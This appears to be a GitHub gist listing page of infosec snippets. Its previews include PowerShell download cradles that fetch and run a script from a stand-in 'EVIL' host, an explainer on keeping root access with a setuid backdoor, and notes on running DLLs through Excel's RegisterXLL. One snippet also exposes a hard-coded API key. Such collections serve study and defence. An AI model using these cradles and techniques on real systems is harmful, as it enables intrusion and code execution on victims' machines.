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Infosec

Franci Šacer fsacer

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Infosec
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@willurd
willurd / web-servers.md
Last active November 30, 2025 18:21
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@dergachev
dergachev / setuid-root-backdoor.md
Last active September 2, 2024 12:08
How to use setuid to install a root backdoor.

Why You Can't Un-Root a Compromised Machine

Let's say somebody temporarily got root access to your system, whether because you "temporarily" gave them sudo rights, they guessed your password, or any other way. Even if you can disable their original method of accessing root, there's an infinite number of dirty tricks they can use to easily get it back in the future.

While the obvious tricks are easy to spot, like adding an entry to /root/.ssh/authorized_keys, or creating a new user, potentially via running malware, or via a cron job. I recently came across a rather subtle one that doesn't require changing any code, but instead exploits a standard feature of Linux user permissions system called setuid to subtly allow them to execute a root shell from any user account from the system (including www-data, which you might not even know if compromised).

If the "setuid bit" (or flag, or permission mode) is set for executable, the operating system will run not as the cur

@learncodeacademy
learncodeacademy / gist:5850f394342a5bfdbfa4
Last active October 1, 2025 03:05
SSH Basics - Getting started with Linux Server Administration

###SSH into a remote machine###

ssh [email protected]
#or by ip address
ssh [email protected]

exit: exit ###Install Something###

#If it's a new server, update apt-get first thing
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active December 1, 2025 12:37
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@AaronRM
AaronRM / facebook-mass-delete-group-members.js
Last active March 23, 2018 14:51 — forked from michaelv/facebook-mass-delete-group-members.js
This javascript removes all users from a facebook group. It works with the new facebook layout. Paste this in the javascript console. Script tested in Firefox. Known issues: 1. when facebook responds slowly, the script might experience hickups.. 2. occasionially, the error 'this user is not a member of the group' pops up.. IMPORTANT: add your ow…
var deleteAllGroupMembers = (function () {
var deleteAllGroupMembers = {};
// the facebook ids of the users that will not be removed.
// IMPORTANT: add your own facebook id here so that the script will not remove yourself!
var excludedFbIds = ['1234','11223344']; // make sure each id is a string!
var usersToDeleteQueue = [];
var scriptEnabled = false;
var processing = false;
deleteAllGroupMembers.start = function() {
@mpj
mpj / monad-stream-example.js
Last active September 14, 2022 06:42
This is the code from Monads - episode #21 of FunFunFunction (https://www.youtube.com/playlist?list=PL0zVEGEvSaeFSwPn06GKArptSxiP1Gff8)
const fetch = require('node-fetch')
const Bacon = require('baconjs')
function getInPortuguese(word) {
// Google Translate API is a paid (but dirt cheap) service. This is my key
// and will be disabled by the time the video is out. To generate your own,
// go here: https://cloud.google.com/translate/v2/getting_started
const apiKey =
'AIzaSyB4DyRHIsNhogQXmH16YKbZfR-lTXrQpq0'
const url =
@mubix
mubix / infosec_newbie.md
Last active October 31, 2025 06:47
How to start in Infosec
void Main()
{
//testGenerating();
var grid = goodGrid();
//grid.Write().Dump();
grid.MakeGame();
//grid.Write().Dump();
var foundOne = false;
var game = grid.Write();
while(!foundOne)
@ryhanson
ryhanson / ExcelXLL.md
Last active November 8, 2024 14:51
Execute a DLL via .xll files and the Excel.Application object's RegisterXLL() method

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc

@jaredcatkinson
jaredcatkinson / Get-InjectedThread.ps1
Last active October 14, 2025 02:45
Code from "Taking Hunting to the Next Level: Hunting in Memory" presentation at SANS Threat Hunting Summit 2017 by Jared Atkinson and Joe Desimone
function Get-InjectedThread
{
<#
.SYNOPSIS
Looks for threads that were created as a result of code injection.
.DESCRIPTION